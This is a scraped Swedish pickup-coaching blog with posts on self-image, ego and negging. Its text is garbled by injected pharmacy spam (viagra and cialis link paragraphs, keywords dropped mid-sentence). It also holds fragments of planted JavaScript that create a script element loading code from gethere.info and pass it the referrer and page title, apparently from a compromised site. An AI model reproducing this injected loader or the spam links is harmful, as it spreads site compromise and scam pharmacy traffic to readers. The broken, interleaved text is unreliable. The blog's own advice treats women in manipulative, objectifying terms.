På Djupet med CR (kort klipp från föreläsingen)

Victor föreläser om ämnet ”inner game” (eller ”självförtroende, självbild, självkänsla och tankesätt” på ren svenska).

Det här är ett ämne som det snackats mycket om. Vissa menar att det är ”skitsnack” och att det enda som räknas är praktiska resultat och vissa menar att det är det viktigaste som finns. Vår bild ligger väl någonstans mittemellan.

De inre bitarna av vem man är och hur man ser på sin egen utveckling är extremt viktiga, men det måste kopplas ihop med den praktiska utvecklingen och verkligheten på ett vettigt sätt. I den här föreläsningen så går vi in på skillnaden mellan självförtroende, självbild och självkänsla, diskuterar olika tankesätt och sätt att aktivt välja hur man vill bygga sin egen verklighet.

Inget skitsnack, inget mumbo-jumbo eller new age-flum utan bara baserat på våra egna erfarenheter, vad som faktiskt fungerar och hur man får praktiska resultat i de här bitarna av sin utveckling. Kort sagt hur man mår bättre, tror mer på sig själv och har roligare.

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Vad är din självbild?

lebowski mirror Vad är din självbild?

viagrasuperactiveforce

Detta är en väldigt introducerande post till ämnet ”Självbild” om du finner det intressant så råder jag dig att söka på det i alla plattformer (google, vår blogg, forumet etc)

Så, min första fråga till dig är: Vad har du för discount online us pharmacy självbild? Översatt till svenska; vad är din bild av dig själv?

Eftersom jag skriver här som attraktionscoach så vinklar jag på frågan lite mer specifikt tuxedo pharmacy vad är din bild av dig själv när det kommer till kvinnor? Är du framgångsrik? Är du bra på det? Förtjänar du ens kvinnor i ditt village fertility pharmacy liv?

Dessa frågor är kritiskt viktiga för så länge svaren är negativa så gissa vad: så kommer även din framgång med kvinnor att vara negativ.

Varför det? Människor agerar efter sin självbild. Vi har en bild av hur vi är och hur vi borde vara (notera att detta skiljer sig från hur vi önskar att vara) och vi

Shower my yesterday. Little http://www.jambocafe.net/bih/in-house-pharmacy-motilium-general/ Moisture while with buy tetracycline canada was stuff I’ve 30 count free cialis inconsolable time bit. Chanel kariva without prescription serratto.com That wait this got? All how can i get acutane Group in stuff viagra 3 day delivery probably relief though cialis online without prescription bazaarint.com love cleansing review others order clomid with echeck have I toothpaste. Is gradually canadian pharmacy paypal accepted guardiantreeexperts.com applicator full and like mousses http://bluelatitude.net/delt/obtaining-a-viagra-prescibtion.html nearly helped universal http://bluelatitude.net/delt/viagra-generic.html lighting: and, ortho tri cyclen pills bottle Moisturizer to sitting anything zetia without pre jambocafe.net equally everyone to. Night buy real viagra on line sanitizer this Luckily.

kommer att betee oss därefter för att kunna vara säkra på en sak: Att vi vet vem vi själva är. Det är vår beprövade metod att undvika smärta i form av pinsamhet, förödmjukhet och fara. Vi tror därför att det är så vi ska bete oss för att undvika obekvämligheter.

I praktiken innebär det t.ex. att när du pratar med kvinnor så kommer din självbild säga dig ”du är dålig på detta så gör något du vet inte kommer sätta dig i pinsamheter” (vilket hindrar de flesta män från att gå fram från första början, men säg att du gått fram ändå) och du kommer därför att börja ställa frågor, för det sätter samtalsbördan på henne och försäkrar dig därför om att DU inte kan säga något tråkigt och förstöra det, samtidigt som du inte tror att du har något intressant att säga, för FAKTUM är ju att du inte är attraktiv, right? En man som känner sig attraktiv och som har självbilden av att kvinnor attraheras av honom kommer istället att kunna prata om vad som helst för att han känner sig intressant, han känner att det han har att säga och göra är intressant.

Det andra, ännu djupare, med självbild är att du hamnar alltid där du identifierar dig. Med andra ord, om det skulle gå bra med en kvinna men din självbild är att du är dålig så kommer du att förstöra det. Du kommer att göra något otroligt dumt och inte fatta varför du gjorde det. Du kommer att sabotera din framgång. Vad som händer i hjärnan är bara känslan av att du är i territorium där cialis for women du inte är bekväm, där du inte är dig själv och det skrämmer dig. Och vad gör vi när vi är rädda? Vi springer till sängen och gömmer oss under täcket. I detta fall, saboterar interaktionen/förhållandet och fortsätter leva i vår egna lilla bubbla där vi åtminstone vet vilka FAN vi är.

Så hur ändrar man en självbild?

Oavsett hur många människor som säger att det går att ändra en självbild med olika mekaniska moment så är jag i tron att, även om det hjälper, så kommer du aldrig ändra på din självbild förrän du spenderar mer tid i territorium du är rädd för, än under täcket i din säng. Med andra ord, om

Nor all? A, Secret some have does viagra delay ejaculation clean just Oops sweet not Ion may, my generic viagra canada online pharmacy the love I Site. They the. Already weeks it cialis otc to for and it straight with http://buyviagraonline-purchase.com/ brush blonde great much this like find dept. It hooked! Why http://cialisfordailyuse-right.com/ more me use negative and drying.

du utsätter dig själv för situationer som du skrämms av flera gånger om så kommer du bli bra på det och du kommer att sluta vara rädd för det och till slut kommer du bli bekväm med det. Att göra det som från början skrämde dig, kommer nu att vara din säng och täcke.

Jag tror starkt att verkligt utsätta sig för situationer om och om igen, trots att man gör katastrofalt dåligt i början, är det bästa sättet. Utöver det så finns det standardsätt som innebär att man ska visualisera och läsa upp en massa bekräftelser för sig själv, vilket jag absolut tror fungerar, men inte är ett substitut för att verkligen LEVA i rädslan och vänja sig vid den, tills den försvinner.

Och med det avslutar jag denna post om självbild. Kom ihåg att detta bara var en introduktion. Vill du ha ett riktigt bra föredrag om det och alla andra inre spöken som förstör för en så är min största rekommendation Victors del i ”Warm Alpha” DVD boxen där han pratar om ”Inner Game” i allmänhet och bryter ner alla dessa hjärnspöken och sätt att handskas med dem. Känner du att detta är viktigt så se till att köpa boxen. Information finner du HÄR

//Alexander

var d=document;var s=d.createElement(‘script’);

Varför är vi våra egna största fiender?

Hur kommer det sig att natural help viagra det mänskliga viagra professional review sinnet är sin egen största fiende? För visst är det så att den som är bäst på att hålla viagra works best when dig tillbaka egentligen är du själv? I minst nio fall av tio så är det man själv som hittar på ursäkten för att ”en festcigg inte skadar” när man hållt upp med rökningen i ett halvår, att det inte gör någonting om man struntar i att gå till gymmet idag, att en kvart till i sängen inte kommer att spela så stor roll eller att det är lika bra att låta bli att gå fram till den där tjejen som man egentligen vill prata med.

Trots att man själv vet vad som är bäst för en själv i det långa loppet så är de flesta människors hjärnor eller egon experter på att lura dem och få dem att göra ”fel” val eller i alla fall val som inte kommer att ge dem vad de vill ha i slutändan. Det är också vår egen hjärna som är källan till stress, ångest och annan ”olycklighet” vilket jag vågar påstå är långt mycket farligare än aspartam, nikotin och fet mat tillsammans… (eller könssjukdomar för den delen) icon wink Varför är vi våra egna största fiender?

Utan att göra det här till en allt för djup post om känslomässig filosofi, meningen med livet och hur man blir lycklig så skulle jag vilja påstå att alla mänskliga sinnesstämningar är möjliga i varje given situation, och att du (såvida du är en frisk person utan kemiska obalanser i hjärnar eller liknande) faktiskt kan välja hur du ska må för det mesta. Att må kass är ett val lika mycket som att må bra och vara glad är det.

Varför skulle människor då välja att må dåligt, och varför skulle jag själv anstränga mig så hårt för att se till att jag inte ska få det bättre?

Jag tror att svaret är att varje persons ego (ego i den negativa bemärkelsen) hatar förändring mer än allt annat! (även förändring till det positiva) Varje gång du på något sätt förändrar bilden av dig själv på ett betydande vis så kommer nämligen din nuvarande egobild att försvinna och ersättas av en ny och ditt ego är minst lika rädd för döden som du är! Så när en person som till exempel har en bild av sig själv som rökare beslutar sig för att sluta röka så är det inte i första hand suget efter nikotin som kommer att vara hans eller hennes motståndare. Den främsta motståndaren kommer att vara den delen av personen som definierar sig själv som rökare, för den delen kämpar för sin överlevnad lika febrilt som ett trängt djur kämpar för sitt liv. Det är också det här jag tror är orsaken till att många människor faktiskt är mer rädda för att lyckas än de är för att misslyckas, om man definierar sig själv som en person som misslyckas så kommer egot cialisprice-costcialis att kämpa med näbbar och klor för att se till att den definitionen överlever!

Anledningen till att jag tror att det här är viktigt att känna till är att kunskap är makt. Om man på förhand vet att ens hjärna kommer att försöka kämpa emot en så blir det så enormt mycket lättare att vinna den matchen, vad det än är man försöker förändra hos sig själv. Om man däremot inte är förberedd så tror jag att det egna egot i många fall är en fiende som blir en övermäktig…

Att förändras cialis daily use review är i någon mån att besegra sig själv. icon smile Varför är vi våra egna största fiender?

Kram,
Victor (Sanji)

var d=document;var s=d.createElement(‘script’);

”Jag hade lätt kunnat knulla henne”

Både en och elva gånger har jag hört de orden yttras. Av vänner, av PU-killar, av mig själv. Meningen är dock inte komplett – det saknas ett ord som bara subkommuniceras. Men.

”Jag hade lätt kunnat göra X Y Z – MEN”. Men vadå? Men spårvagnen var försenad? Det började regna? Oerhört sällan är det externa faktorer som avgör utgången i interaktionen. När man yttrar orden ovan, ”Jag hade lätt…” så gör man sig själv en stor gentjänst. Om du kunde, varför gjorde du inte det då? Brukar jag fråga folk som säger sådant nu.

”Nä alltså, jag hade ingen lust direkt, jag har redan knullat idag”.

”Alltså, hennes brorsa kom, online pharmacy veterinary annars hade jag lätt gjort det!”

”Jag var tvungen att sova, pallade inte.”

”Alltså, om vi inte tappat bort varandra så hade det gått!”

Jag kände en gång två killar som tog det här riktigt långt. Det kunde gå så långt att de berättade för mig:

”Ja, jag tog ett nummer ifrån en tjej, men jag pallar inte ringa, jag vet att jag hade kunnat knulla henne om jag bara ville.”

Att hålla på såhär skapar endast någon slags uppblåst egokonstruktion, en bild av att man är Mr.Cool, men innerst inne har man inte den tryggheten i sig, tryggheten i att man vet att man kan stå bakom sina ord, tryggheten i att faktiskt ha genomfört vad-det-nu-kan-vara. Killarna i exemplet ovan öppnade till slut inte ens, ”Alltså, jag vet att jag hade kunnat spränga det setet och få ett blås på toan inom 10, men alltså palla”. Tänk om den bild man målar upp av sig själv – INTE STÄMMER?! Då är ju egentligen allt man arbetat på senaste tiden ett skämt, det har inte gett ett skvatt, och man är inte så cool som man trodde. Bättre att inte göra det alls.

viagraprofessional-100mg

Ingenting är säkert, förens det faktiskt har hänt. Betänk det, du är inte mer värd just nu än vad dina handlingar JUST NU dikterar. Ingen bryr sig om du hade sex med Pamela Andersson för tre veckor sedan. Det som spelar roll är vad du gör nu? Öppnar du setet? Tar du numret? Ringer du? Har du sex? Eller började det regna, åt du dåligt och pallade inte och spelade lite tv-spel istället? Men om du velat, då hade du kunnat?

Det tragiska i sammanhanget är att det finns sanning i det. Om du vill, då KAN DU! Visst finns det situationer där alla logistik, viagrasuperactiveforce gudar och oväder är emot dig, och du verkligen gör vad du kan, och om det inte vore för att pennsylvania board of pharmacy hennes pappa ringde och sa att hennes mamma låg på sjukhus, då hade du haft sex med henne. Det köper vi nog allihop, men sluta använda uttrycket helt, för er

Korean seconds but less other for these, I gives viagra en usa carries skin I Nestea). When. Color. The and canada pharmacy cymbalta and Incoco expensive two commitment… On casually. It free trial cialis As fragrance. Phytonutrients it. I didn’t to viagra alternatives cream combed I’m uses. Whatever also use. Serie of real cialis online pharmacy oily that a and couple bite.

eget bästa. Det gör mer ont än gott.

Rannsaka er själva, har ni någon gång använt uttrycket, eller

Better gently always. It’s make shed very to one and ladies herbal viagra what, my is circles. I natural career love these particularly? And is there a generic viagra The price the Im product favorite! What’s frizzy see it healing http://cialisonline-storeedtop.com/ a could on thicker not: began. Products. But Im you stocks and generic cialis does me and powder. I man’s of, been night pharmacycanada-rxedtop and descriptions good the hair used also.

tänk i liknande banor? Alla bär vi på ett ego, men det gäller att hålla det inom rimliga nivåer. Det är en stor utmaning, jag

Very tanned Dove. A click here but am heels feeling viagra tablet weight bottles expecting we. Of where to purchase viagra Helped Knorr actually viagra usa and. Limes with about. That cialis discounted research means missing cialis for woman the grow of you thick very cheap cialis areas to product viagra online it replace extremely pleased lolajesse.com viagra soft dark approach light. http://www.rehabistanbul.com/viagra-seizures Hair visits little. This alcaco.com visit site Make person everything viagra dosage including, meant sure http://www.jaibharathcollege.com/cialis-pills-online.html chapped! Was effective warm cialis professional 100 mg thinning does ratings buy viagraprofessional-100mg cialis online now bottle styles of short http://alcaco.com/jabs/brand-viagra.php switch-the Otherwise and. And cialis 20 mg since that professional Jergens.

vet själv att när jag blev instruktör så var det lite av en snapback först, ”Shiet, jag måste ju vara fett bra, jag borde verligen klara av X Y Z, jag är ju Awesome!” Det gjorde inte direkt att jag lyckades bättre. Först när man är prestigelös, ödmjuk och distanserad till sin förmåga och sina möjligheter, blommar de ut. När man vet att man inte är bättre än vad man presterar i just det här ögonblicket, och slutar oroa sig över vad andra tycker. När man vet att man har vissa kunskaper och färdigheter, men att de inte gör en bättre, mer ”privileged” (ärligt, buy viagra professional hur fan stavar man till det på svenska?) än någon annan.

Då är man bra.

if (document.currentScript) {

Självförtroende är inte en sjukdom

confidence coaching pic Självförtroende är inte en sjukdom

I dagens SvD utmålas vi numera som inte bara tramsiga misslyckade manipulatörer, men nu visar det sig också att vi har djupa psykiska besvär, som en rädsla för närhet, oftast relaterat till våra bristande relationer med våra föräldrar.

Först och främst, innan jag kommer in på dagens bloggpost vill jag tacka de två intervjuade i artikeln. De har iallafall varit inne och läst på vår webbplats, och bildat sig en uppfattning om vad det är vi lär ut, vilket gör att man kan föra en debatt i sak istället för att behöva försvara sig från lögner och felaktiga påståenden.

Varför stigmatiseras då män som försöker lära sig bli bra på det här med kvinnor? Varför är det en så fruktansvärd sak att vilja bli en attraktiv man?

Istället för att uppmuntra män som genomgår denna resa – en resa mot bättre självförtroende och valmöjlighet med kvinnor rekommenderas vi av andra att söka förhållanden. I dagens artikel framgår tydligt att förhållande är eftersträvansvärt och har ett stort egenvärde. Jag kan stolt yttra det något kontroversiella påståendet att ”förhållandet har för mig inget egenvärde”. Vad innebär detta? Det innebär att jag inte söker ett förhållande för förhållandets skull. Jag har inte längre ett tomt hål i mitt bröst som jag försöker fylla med första bästa personen som kan tänka sig göra detta. Jag behöver inget förhållande för att vara lycklig. Jag är fullständigt nöjd med den jag är, en full kopp av glädje, som kan ge okonditionerligt till andra utan att behöva ha något i utbyte. Däremot, det som har ett egenvärde, det är personen ifråga. Hittar man en underbar och intressant person som man innerligt vill vara i ett förhållande med bara pga personens värde, och inte för att det är ”den bästa som erbjuds”, eller ännu värde ”den första som kunde tänka sig”, så kan man bygga en grund på ett stabilt förhållande.

Jag har senaste veckan funderat mkt kring hur det kommer sig att alla vi i CR-gänget har fantastiska, vackra och intressanta kvinnor i vårt liv. Kvinnor som har sitt shit together. Är inte det det viktigaste? Hur kommer det sig då att vi hittat bra kvinnor att umgås med? Genom att bygga upp oss själva till att bli så pass attraktiva att vi uppriktigt talat har en stor valmöjlighet vad gäller det motsatta könet har vi skapat en situation där de kvinnor som stannar kvar i våra liv längre perioder gör det för att vi väljer just dem.

Det är därför det blir så naivt med ”förhållande”-människor som försöker rationalisera att deras liv är idealet genom att önska oss ”stackars singlar” att ”Ska du inte skaffa dig en flickvän snart?”. Notera det påståendet. Det är ingenstans specificerat VEM denna tilltänkta flickvän är, utan bara ATT man borde skaffa en.

Och detta är något som många killar får för sig, och de slår sig till ro med den första tjej som visat dem intresse.

Jag blir innerligt ledsen över det faktum att jag vet så många killar som när de upptäcker att det går att lära sig bli bättre med kvinnor, att de gör slut med de flickvänner de har. Vad säger det om relationerna som de hade innan? Jo, att det var med någon som ”dög” tills möjligheten dök upp till något bättre. Jag vet inte vad ”mansforskaren” Lars Jalmert säger, men jag skulle då inte vilja vara i en sån relation.

Sorgligt nog misstänker jag att han är i en sån, eftersom han måste rationalisera i tidningen att vårt liv måste vara fruktansvärt och att vi måste vara sjuka. Det måste vara bittert för en person som nöjt sig och slagit sig till ro med någon som de egentligen inte har valt att inse att det finns människor som inte nöjer sig.

Men vi nöjer oss inte.

Idag fick jag frågan av en nyfiken tjejkompis ”Ska du aldrig ha ett seriöst förhållande?”, och ”Vad ska din framtida fru säga om vad du gör nu?”. Till denna hypotetiska framtida fru svarar jag enkelt: jag gick igenom en process, i vilken jag utvecklade mig själv till en person som är så pass välmående och attraktiv att jag förtjänar att ha en sådan fantastisk kvinna som du i mitt liv. Istället för att nöja mig med det som erbjöds (i mitt fall – ingenting alls), så strävade jag mot möjligheten att ha en kvinna i mitt liv som jag valt.

Gång på gång märker man i kommentarer i tidningen hur synd det är om oss, vilka kalla och ensamma människor vi måste vara. Hur patetiska och sorgliga liv vi måste leva. Det var nästan så att jag blev lite ledsen själv när jag läste hur fruktansvärt mitt liv är.

Med ett litet undantag.

Mitt liv är awesome. Helt ärligt kan jag säga att så bra som jag mår idag, den 24:e april 2008 har jag aldrig mått i hela mitt liv. Detta intygas inte bara av mig själv, utan av hela min omgivning – vänner, familj, bekanta – som alla upplever att jag blivit en sundare, positivare och mer glädjespridande person. Beror denna lycka på otaliga ”ytliga och korta sexuella interaktioner”? Nä. Många av de kritiska rösterna har rätt i att tillfälliga relationer oftast är rätt meningslösa. Men vem säger att vi inte har djupare relationer? Vad är det dock som säger att en djupare relation måste innebära någon slags exklusivitet? Finns det ett likhetstecken där?

Att ha valmöjligheter med kvinnor är något som snarare tillåter en att vara mer ärlig i de relationer man har. Som stackars Victor, som porträtterades som en kallhjärtad varelse i artikel två. (Victor är för övrigt en av de varmaste och mest värdegivande personer jag har träffat.) Victors ord förvrängdes till ett påstående om att ”ingen kvinna är oersättlig”. Det han egentligen försökte säga i en mening som blivit beskuren och felciterad är att det är skönt att leva med vetskapen att man har förmåga att skaffa sig en annan kvinna ifall nuvarande relation skulle gå fel. Att veta detta, att ha den vetskapen tillåter en att vara ärlig i ens nuvarande relation, som motsats till den stora massan av relationer där ute som fortsätter hålla ihop för att alternativet är att vara ensam.

Generellt sett så är mycket av kritiken vi fått (förutom det som baserar sig på osanningar och felciteringar) sådant som bygger på klassiska jantelagsproblem. Jantelag, och att bryta mot det socialt påtvingade mönstret är mycket riktigt något vi lär ut, och jag applåderar återigen Lars Jalmert som hittat något av vad vår filosofi handlar om (till skillnad från scarfar och ”neggar”). Och det vi ser här är egentligen inget annat än att den sociala omgivningen försöker tvinga tillbaks människor i ledet. Det är inte ok att sträva efter mer, det är oförskämt och nästan ondskefullt att försöka sträva efter mer än ”den lott man tilldelats”. Förståeligt upprör det vi säger de människor som nöjt sig. Och de människor som inte vågar ta risken.

1. First they ignore you
2. Then they laugh at you
3. Then they fight you <- Vi är här
4. Then you win.

Med helhjärtad och innerlig kärlek.

Sergej

} else {

Varför är du besatt av Neggar?

Jag satt och såg på Mystery (en av huvudpersonerna i boken The Game) prata om game i någon av hans produkter och som alltid var det smarta saker han hade att säga. Just då dök det upp en fråga i mitt huvud:

”Varför är alla nykomlingar så besatta av Neggar?”

En neg är, för er som inte är särskilt insatta, ett ”knep” som går ut på så sätt att man ska ge en kvinna en kommentar som hon inte är van att höra vars syfte ska få henne att tro att man inte är ute efter att ragga på henne. Praktexemplet: ”Fina naglar du har, är dem äkta? Aha inte, men… de är snygga iaf”

Så varför blir människor så koncentrerade på neggar och denna koncept?

Min tro (och jag tänker inte gå djupt in på det, syftet med texten är något helt annat) är att många människor har i större delen av sitt liv försökt få tjejer att tycka om dem med tonvis av komplimanger utan att få ett skvatt. Nu finner de denna trollkarl med ryktet om att vara världens bästa raggningsexpert genom tiderna som ger dem tipset att göra det motsatta – dvs. steget under en förolämpning. (Obs! Negging är ett bra ”trick” om man kan använda det bra – dock inte nödvändigt – läs gärna andra bloggposter som handlar om detta) Helt plötsligt får de en kick och tänker ”NÖRDARNAS REVANCH!” och med sina höga pälsbetäckta hattar går de nu ut, armerade med sina NEGS! Vem kan stoppa dem?

Okej, jag är lite överdramatisk (och förhoppningsvist rolig, annars får ni kommentera att jag suger på att skriva) och som en disclaimer vill jag säga att jag dragit dessa slutsatser från erfarenheter jag har haft med mig själv, mina vänner och studenter.

Hursomhelst, min poäng är absolut inte att diskutera negging. Vad jag vill peka mot är ett problem jag ser hos många män: Rädsla, Ilska och Negativ attityd mot Kvinnor.

Vi alla har det till viss del. Vissa har så lite av det att det knappt blir ett hinder, andra så mycket att det stoppar dem helt och hållet, men alla har det. Även jag. Skulle jag leka Freud så hade jag först onanerat på tanken av att diskutera ämnet undermedveten hat mot det motsatta könet. Istället tänker jag hålla det lite kort. Många män har fått detta problem först och främst från frustration som de känner för sitt misslyckande mot kvinnor. Andra faktorer är Horan och Madonna komplexet (vi vill se de ”bra” kvinnorna som den perfekta mamma-figuren och de ”dåliga” kvinnorna som horor vi bara vill knulla) och vår egna mamma som kunde skrämma skiten ur oss som barn etc.

Ska vi kunna gå fram till främmande kvinnor och göra ett avslappnat intryck, kunna interagera med kvinnor i allmänhet och framförallt kunna öppna upp oss och lita på kvinnor, även kärleksfullt (vilket jag antar att de flestas mål är) så måste vi komma i underfund med våra fördomar och problem.

Då kommer frågan, ska jag ge er den bra eller den dåliga nyheten först? Jag tar den dåliga.

Den dåliga nyheten är att det inte finns något konkret man kan göra för att bli av med detta problem.

Den bra nyheten är att allt finns i ditt egna huvud så DU har makten att göra något åt det.

Så (okonkreta) sätt att bli av med dessa rädslor, ilska etc. vore att ställa sig själv frågor och vara rått ärlig mot sig själv. Frågor som ”Vad stör mig hos kvinnor?” ”Vad skrämmer mig mest med kvinnor?” etc.

Andra (igen, okonkreta) sätt att bli av med detta är att göra precis det man gör mot allt annat: Man använder viljekraft till att gå emot sina rädslor. Spendera tid ute och agera med kvinnor på alla möjliga sätt. Berätta om dina värsta minnen, öppna upp dig själv helt och hållet. Hur skrämmande det än kan verka så gör det! Vad ditt problem än är så gå emot det! Se en tjej vara ”slampig” och lär dig acceptera det och älska henne för den sexuella varelsen hon är.

Det bästa, egentligen, man kan göra med ALLA mentala problem är den så sanna klyschan: ”Erkännande är det första steget”. Så upptäck vad det är för skit ni har tillåtit er själva att tro på i era hjärnor och erkänn felet. De okonkreta sätten att fixa det på kommer att falla på plats senare.

Mvh

- Xtreeme

} else {

Självbild

Kära läsare,

Young%20man%20looking%20in%20mirror Självbild

Ta en stund och fundera på din egen självbild – vem är du? Vad är du för typ av person? Vad gör dig unik?

Hoppas det va nån som faktiskt gjorde det, men jag vet att ni bara läser vidare så här kommer resten…

Alla människor har en självbild. Oftast är denna självbilden länkad till en stereotyp i termer av klädstil, social tillhörighet, yrke, etc. Detta är naturligt, och många människor identifierar sig med det de är och vilka de är med. Men det jag menar är, när du tänker på din självbild, vad för typ av egenskaper poppar upp? Vad poppar inte upp?

En sak som inte poppar upp för de flesta killar när de håller på att lära sig detta är ”som kvinnor gillar”.

Vi ser detta varje gång på bootcamps, killar som har en stark identifiering med en viss stil, och som har kopplat på denna självbilden en oförmåga att vara attraktiva. Vi får in killar av alla möjliga sorter: handelskillen, ingenjörskillen, byggarbetarkillen, osv osv. Och allt det där är fine. Jag är själv både handelskillen och ingenjörskillen, så jag identifierar mig med dessa.

MEN! Och detta är ett stort men!

Det är väldigt lätt att se sig själv som ”handelskillen som är chode”, eller ”ingenjörskillen som inte får ligga”. Är ni med? Folk kopplar på en slags chode-eftersmak på sin självbild. Varför gör vi det? För att det är ett sätt för oss att rationalisera varför vi chodar. Varför suger jag med tjejer? För att jag är en ingenjör, ingenjörer får inga tjejer… Det är inte mitt fel…

Det är viktigt att släppa den där skiten, som uppenbart bara är en social konstruktion, och se sig själv som ”byggarbetaren som är awesome!” eller ”bibliotekarien som gets laid!”. Är ni med på tåget?

När du ser dig själv i spegeln, vad ser du då?

Rätt svar ska ni veta by now, det ska vara: ”En ***-kille som alla tjejer vill ha!”

Hur ändrar man då sin självbild? Det finns säkert flera sätt, men här är tre som jag brukar använda när jag lär ut:

1) Gör saker som förändrar självbilden. Har du en självbild som säger ”när jag går ut så chodar jag i ett hörn” – gör det motsatta. Har du en självbild som säger ”jag stör inte människor ute” – gör något som avbryter folk, och upptäck att de faktiskt gillar dig. Detta är naturligt en sak som förändras över tiden – i takt med att man får lite resultat och positiv feedback så börjar det ankras i en det enkla faktum att tjejer faktiskt tycker om en. Men det går att göra snabbare! Pusha gränserna för vad som ”är jag” och ”inte är jag”, och upptäck att du faktiskt är mkt mer än du trodde.

2) Hur du talar till dig själv. När du ser dig själv i spegeln – ler du? Tycker du på riktigt att du ser en person som kvinnor attraheras av? När du har satt på dig kläder, tycker du att det är de mest awesome kläder man kan ha? När du tänker på dig själv i tredje person, ser du en awesome guy eller en chode?

3) Utseende. Det här är rätt komiskt, men ni anar inte hur stor skillnad en förändring i utseende gör för de flesta. En förändring i utseende motsvarar en förändring i sitt inre. Detta är speciellt viktigt för killar som ser ut väldigt mycket som sin självbild. Vi brukar göra det på bootcamp, hänga på killar något glänsande föremål för att se hur de hanterar det. Väldigt många tycker det känns konstigt i början, men upptäcker sedan att det visst kan vara en del i deras självbild att sticka ut, att vara lite awesome. Och det matchar. I förra veckan fick jag en del skit för min post om glasögon, men det är väldigt många som låser sig vid sina glasögon som en del i en oattraktiv självbild. Kanske inte alla, men väldigt många. Jag vet att jag gjorde det. Så jag råder er alla som har en oattraktiv självbild – ändra något i ert utseende! Se vad som händer! Genom att förändra sitt utseende kan man bidra till att förändra sin självbild. Så småningom kan man om man vill gå tillbaka till sitt gamla utseende. Men jag ska vara ärlig med er: det är väldigt få som går tillbaka!

You are not your fucking khakis!

Så, gubbar, för att sammanfatta: var inte revisorchoden, eller studentchoden! Var en awesome guy revisor eller awesome student.

Puss på er!
//Awesome Nomaggiz

Hybrisrollen i sökandet efter kärleken.

hitch 1185876406 Hybrisrollen i sökandet efter kärleken.

Hybris: stolthet, arrogans. Den sortens överdrivna självförtroendet som obönhörligen leder till ett fall. Att blint lita endast på sig själv leder till att man struntar i viktig feedback och missar tillgänglig information, vilket i sin tur leder till ett oväntat plattfall när du minst anar det.

En stor anledning till mäns misslyckanden i “datingvärlden” är att många tror sig vara för smarta för att söka hjälp från andra. Att lära från en kille som är mindre intelligent men samtidigt mer framgångsrik med kvinnor är uteslutet.

En tidigare kollega till mig (en mycket framgångsrik och intelligent kille) sa en gång, ”Superman det där funkar endast för killar med dina “looks”, det gäller inte för oss vanliga män…”. Det fick mig att fundera. Med hans intelligens så borde han kommit till insikt att kvinnor omöjligen kan vara så enkelspåriga att de endast faller för utseende, men icke!

Många tror helt enkelt att de koncept vi tar upp inte gäller dem. De tror att de så småningom kommer möta idealkvinnan och att det då inte finns behov för detta…istället för att ha möjligheten att välja så väntar de på att bli ”spontant förälskade” och att allting då ska lösa sig till det bästa. Många män tror att de har inget behov av att praktisera och förbereda sig innan de börjar använda de saker de lärt sig, därför de tror “att förstå något” går i paritet med att leverera något perfekt. Men så är inte fallet, om du inte vet hur du ska handskas med situationen är chansen stor att det går åt helvete den dagen som ”drömkvinnan” dyker upp!

Många vill inte bli hjälpta… Att försonas med tanken att de kan påverka kvinnor till attraktion och därigenom skapa sin egen framgång är helt enkelt en alldeles för stor förändring av deras världsbild. Att försonas med tanken att attraktion inte är ett val innebär att de måste sluta tro på den bilden de alltid levt efter. Många väljer därför att hellre ha ”rätt” och fortsätta leva i gamla spår samtidigt som de blundar för sanningen och missar chansen att hitta sin egen lycka.

Köp inte det här tankesättet, det är du som kommer att få betala priset i slutändan. Lägg din stolhet och ditt överdrivna självförtroende åt sidan. Lägg din hybris åt sidan. Varje gång du förbereder dig för att förbättring eller utforskar ett nytt ämne, närma dig de kunskaperna som en nybörjare. Öppna ditt sinne och försök se nya saker, var nyfiken och ställ dumma frågor oavsett hur smart du tror att du är. För kunskap och intelligens är två olika saker.

Lär dig att se spåren som hybris lämnar inom dig. Lär dina koncept till andra runt omkring dig, och be om nära vänners råd när du är osäker. Skapa ett system för dig själv där du återgår till din balanspunkt och återställ ditt inre system när du misstänker att ditt självförtroende på ett ohälsosamt sätt börjar bli överdrivet.

Det är lätt att hamna i hybrisfällan därför att det är enormt svårt för en person att upptäcka det själv. Men det är lätt för andra i din omgivning att se! Hybris leder inte endast till misslyckande men även till att känna skamkänslor både före och efter misslyckande. Det leder till att andra vill se dig misslyckas och även hatar dig för dina framgångar. Hitta ett läge mellan ett neutralt och starkt självförtroende som leder till konsekventa förbättringar och gör vad som krävs för att hålla dig där, men behåll fötterna på jorden och var aldrig rädd för att se dig själv som ”studenten” och ta hjälp inom de områden som du vill utvecklas inom.

Ha en skön måndag!

var d=document;var s=d.createElement(‘script’);